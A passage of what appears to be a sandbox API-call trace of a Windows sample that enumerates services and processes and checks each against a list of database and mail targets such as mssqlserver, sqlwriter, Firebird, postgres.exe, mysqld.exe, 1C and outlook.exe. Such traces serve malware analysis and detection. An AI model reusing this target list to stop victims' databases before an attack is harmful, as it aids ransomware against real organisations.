lpString2="CscService") returned 1 [0049.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0049.403] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0049.403] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0049.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0049.403] lstrlenW (lpString="DcomLaunch") returned 10 [0049.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0049.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0049.403] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0049.403] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0049.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0049.403] lstrlenW (lpString="Dhcp") returned 4 [0049.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0049.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0049.403] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0049.403] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0049.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0049.403] lstrlenW (lpString="Dnscache") returned 8 [0049.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0049.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0049.403] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0049.404] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0049.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0049.404] lstrlenW (lpString="DPS") returned 3 [0049.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0049.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0049.404] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0049.404] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0049.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0049.404] lstrlenW (lpString="eventlog") returned 8 [0049.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0049.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0049.404] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0049.404] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0049.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0049.405] lstrlenW (lpString="EventSystem") returned 11 [0049.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0049.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0049.405] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0049.405] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0049.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0049.405] lstrlenW (lpString="FontCache") returned 9 [0049.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0049.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0049.405] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0049.405] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0049.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0049.405] lstrlenW (lpString="gpsvc") returned 5 [0049.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0049.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0049.405] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0049.405] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0049.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0049.405] lstrlenW (lpString="iphlpsvc") returned 8 [0049.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0049.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0049.405] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0049.405] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0049.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0049.406] lstrlenW (lpString="LanmanServer") returned 12 [0049.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0049.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0049.406] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0049.406] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0049.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0049.406] lstrlenW (lpString="LanmanWorkstation") returned 17 [0049.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0049.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0049.406] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0049.406] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0049.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0049.406] lstrlenW (lpString="lmhosts") returned 7 [0049.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0049.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0049.406] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0049.406] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0049.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0049.406] lstrlenW (lpString="MMCSS") returned 5 [0049.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0049.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0049.407] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0049.407] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0049.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0049.407] lstrlenW (lpString="MpsSvc") returned 6 [0049.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0049.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0049.407] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0049.407] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0049.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0049.407] lstrlenW (lpString="Netman") returned 6 [0049.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0049.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0049.407] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0049.407] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0049.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0049.407] lstrlenW (lpString="netprofm") returned 8 [0049.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0049.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0049.407] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0049.407] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0049.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0049.407] lstrlenW (lpString="NlaSvc") returned 6 [0049.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0049.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0049.408] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0049.408] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0049.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0049.408] lstrlenW (lpString="nsi") returned 3 [0049.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0049.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0049.408] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0049.408] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0049.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0049.408] lstrlenW (lpString="PcaSvc") returned 6 [0049.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0049.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0049.408] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0049.408] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0049.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0049.408] lstrlenW (lpString="PlugPlay") returned 8 [0049.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0049.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0049.408] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0049.408] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0049.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0049.409] lstrlenW (lpString="Power") returned 5 [0049.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0049.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0049.409] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0049.409] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0049.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0049.409] lstrlenW (lpString="ProfSvc") returned 7 [0049.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0049.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0049.409] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0049.409] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0049.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0049.409] lstrlenW (lpString="RpcEptMapper") returned 12 [0049.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0049.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0049.409] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0049.409] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0049.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0049.409] lstrlenW (lpString="RpcSs") returned 5 [0049.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0049.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0049.409] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0049.410] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0049.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0049.410] lstrlenW (lpString="SamSs") returned 5 [0049.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0049.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0049.410] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0049.410] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0049.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0049.410] lstrlenW (lpString="Schedule") returned 8 [0049.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0049.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0049.410] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0049.410] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0049.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0049.410] lstrlenW (lpString="SENS") returned 4 [0049.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0049.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0049.410] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0049.410] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0049.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0049.410] lstrlenW (lpString="ShellHWDetection") returned 16 [0049.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0049.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0049.411] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0049.411] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0049.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0049.411] lstrlenW (lpString="Spooler") returned 7 [0049.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0049.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0049.411] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0049.411] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0049.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0049.411] lstrlenW (lpString="sppsvc") returned 6 [0049.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0049.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0049.411] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0049.411] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0049.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0049.411] lstrlenW (lpString="SysMain") returned 7 [0049.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0049.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0049.411] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0049.411] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0049.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0049.411] lstrlenW (lpString="Themes") returned 6 [0049.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0049.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0049.412] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0049.412] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0049.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0049.412] lstrlenW (lpString="TrkWks") returned 6 [0049.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0049.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0049.412] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0049.412] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0049.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0049.412] lstrlenW (lpString="UxSms") returned 5 [0049.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0049.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0049.412] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0049.412] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0049.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0049.412] lstrlenW (lpString="WdiServiceHost") returned 14 [0049.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0049.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0049.412] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0049.412] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0049.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0049.413] lstrlenW (lpString="WdiSystemHost") returned 13 [0049.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0049.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0049.413] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0049.413] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0049.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0049.413] lstrlenW (lpString="WinDefend") returned 9 [0049.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0049.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0049.413] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0049.413] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0049.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0049.413] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0049.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0049.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0049.413] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0049.413] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0049.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0049.413] lstrlenW (lpString="Winmgmt") returned 7 [0049.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0049.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0049.413] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0049.414] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0049.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0049.414] lstrlenW (lpString="wscsvc") returned 6 [0049.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0049.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0049.414] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0049.414] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0049.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0049.414] lstrlenW (lpString="wuauserv") returned 8 [0049.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0049.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0049.414] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0049.414] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0049.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0049.414] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x60e1c0 | out: hHeap=0x5c0000) returned 1 [0049.414] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cc [0049.421] Process32FirstW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0049.422] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0049.423] lstrlenW (lpString="System") returned 6 [0049.423] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0049.423] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0049.423] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0049.423] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0049.423] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0049.423] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0049.423] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0049.423] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0049.424] lstrlenW (lpString="smss.exe") returned 8 [0049.424] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0049.424] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0049.424] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0049.424] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0049.424] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0049.424] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0049.424] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0049.424] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0049.425] lstrlenW (lpString="csrss.exe") returned 9 [0049.425] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0049.426] lstrlenW (lpString="wininit.exe") returned 11 [0049.426] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0049.428] lstrlenW (lpString="csrss.exe") returned 9 [0049.428] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0049.429] lstrlenW (lpString="winlogon.exe") returned 12 [0049.429] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0049.430] lstrlenW (lpString="services.exe") returned 12 [0049.430] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0049.431] lstrlenW (lpString="lsass.exe") returned 9 [0049.431] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0049.432] lstrlenW (lpString="lsm.exe") returned 7 [0049.432] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.433] lstrlenW (lpString="svchost.exe") returned 11 [0049.433] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.434] lstrlenW (lpString="svchost.exe") returned 11 [0049.434] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.544] lstrlenW (lpString="svchost.exe") returned 11 [0049.544] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.545] lstrlenW (lpString="svchost.exe") returned 11 [0049.545] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.546] lstrlenW (lpString="svchost.exe") returned 11 [0049.546] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, 